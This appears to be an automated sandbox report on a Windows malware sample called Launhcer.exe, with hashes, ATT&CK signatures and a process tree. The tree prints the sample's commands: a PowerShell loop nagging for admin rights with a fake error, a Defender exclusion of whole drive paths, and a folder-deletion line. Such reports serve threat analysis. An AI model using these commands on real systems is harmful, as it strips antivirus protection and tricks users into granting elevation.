91d2a52f3ccc94057ef09bff7a5591271aef63f04029c48b7a28cd7240e601b6

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
03-10-2024 15:04

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General

Target

data/appInfo/services/Launhcer.exe
Size

364KB
MD5

e5c00b0bc45281666afd14eef04252b2
SHA1

3b6eecf8250e88169976a5f866d15c60ee66b758
SHA256

542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903
SHA512

2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387
SSDEEP

6144:+pS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYql6wrEJWPYg:+p8KLBzQ7Lcf3SiQs2FTTql9unNrkv75

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Start PowerShell.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2172 powershell.exe
2348 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2172	powershell.exe
2348	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

Launhcer.exepowershell.exeLauncher.exepowershell.execmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launhcer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

2172 powershell.exe
2172 powershell.exe
2172 powershell.exe
2348 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2172 powershell.exe
Token: SeDebugPrivilege 2348 powershell.exe

pid	process
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
2348	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2172	powershell.exe
Token: SeDebugPrivilege	2348	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

Launhcer.exepowershell.exeLauncher.exe

description	pid	process	target process
PID 1960 wrote to memory of 2172	1960	Launhcer.exe	powershell.exe
PID 1960 wrote to memory of 2172	1960	Launhcer.exe	powershell.exe
PID 1960 wrote to memory of 2172	1960	Launhcer.exe	powershell.exe
PID 1960 wrote to memory of 2172	1960	Launhcer.exe	powershell.exe
PID 2172 wrote to memory of 1404	2172	powershell.exe	Launcher.exe
PID 2172 wrote to memory of 1404	2172	powershell.exe	Launcher.exe
PID 2172 wrote to memory of 1404	2172	powershell.exe	Launcher.exe
PID 2172 wrote to memory of 1404	2172	powershell.exe	Launcher.exe
PID 2172 wrote to memory of 1404	2172	powershell.exe	Launcher.exe
PID 2172 wrote to memory of 1404	2172	powershell.exe	Launcher.exe
PID 2172 wrote to memory of 1404	2172	powershell.exe	Launcher.exe
PID 2172 wrote to memory of 1404	2172	powershell.exe	Launcher.exe
PID 2172 wrote to memory of 1404	2172	powershell.exe	Launcher.exe
PID 1404 wrote to memory of 2348	1404	Launcher.exe	powershell.exe
PID 1404 wrote to memory of 2348	1404	Launcher.exe	powershell.exe
PID 1404 wrote to memory of 2348	1404	Launcher.exe	powershell.exe
PID 1404 wrote to memory of 2348	1404	Launcher.exe	powershell.exe
PID 1404 wrote to memory of 2348	1404	Launcher.exe	powershell.exe
PID 1404 wrote to memory of 2348	1404	Launcher.exe	powershell.exe
PID 1404 wrote to memory of 2348	1404	Launcher.exe	powershell.exe
PID 1404 wrote to memory of 2896	1404	Launcher.exe	cmd.exe
PID 1404 wrote to memory of 2896	1404	Launcher.exe	cmd.exe
PID 1404 wrote to memory of 2896	1404	Launcher.exe	cmd.exe
PID 1404 wrote to memory of 2896	1404	Launcher.exe	cmd.exe
PID 1404 wrote to memory of 2896	1404	Launcher.exe	cmd.exe
PID 1404 wrote to memory of 2896	1404	Launcher.exe	cmd.exe
PID 1404 wrote to memory of 2896	1404	Launcher.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe
"C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2172
- - C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe
    "C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1404
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2348
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
      4⤵
      System Location Discovery: System Language Discovery
      PID:2896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
eb858a7f5c893a103a100e9e73057b6e

SHA1
b782e85f258d0e65cc28d658a0c71ef4622a8b7f

SHA256
236ed5921613c2e4ea5b010e293b03c0c86e0b2f57df99e7817c8290dacb31f9

SHA512
df31aff01c54b5c35c6e658adc68e7aa02ffe90788976a1ed1ec283523be451534b337ca56db896630f949303c36b5ffa365a3b4c8d3913be937e3800926b3fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabBD39.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarBD4C.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
8088640cac58f9c1a9e326ae58f30840

SHA1
27ca7b34d0489e70799eb38feeacb56a7b065f55

SHA256
0f21d6e4686512aabfe74a6e27d6a548a6a850194da103ace452455d16050f17

SHA512
cc6396768a5eca2e6dbf0c4b3bab6e1bfa07ca309728b24bfa8d06d1b04acdfb93e1f0a5dda56fd3a64cebab8638f7b8f90085e2bdcb361b100e836a95cabac9

Download Submit
memory/1960-0-0x0000000000140000-0x0000000000141000-memory.dmp

Filesize
4KB

Download
memory/2172-38-0x0000000073491000-0x0000000073492000-memory.dmp

Filesize
4KB

Download
memory/2172-41-0x0000000073490000-0x0000000073A3B000-memory.dmp

Filesize
5.7MB

Download
memory/2172-40-0x0000000073490000-0x0000000073A3B000-memory.dmp

Filesize
5.7MB

Download
memory/2172-39-0x0000000073490000-0x0000000073A3B000-memory.dmp

Filesize
5.7MB

Download
memory/2172-317-0x0000000073490000-0x0000000073A3B000-memory.dmp

Filesize
5.7MB

Download
memory/2172-319-0x0000000073490000-0x0000000073A3B000-memory.dmp

Filesize
5.7MB

Download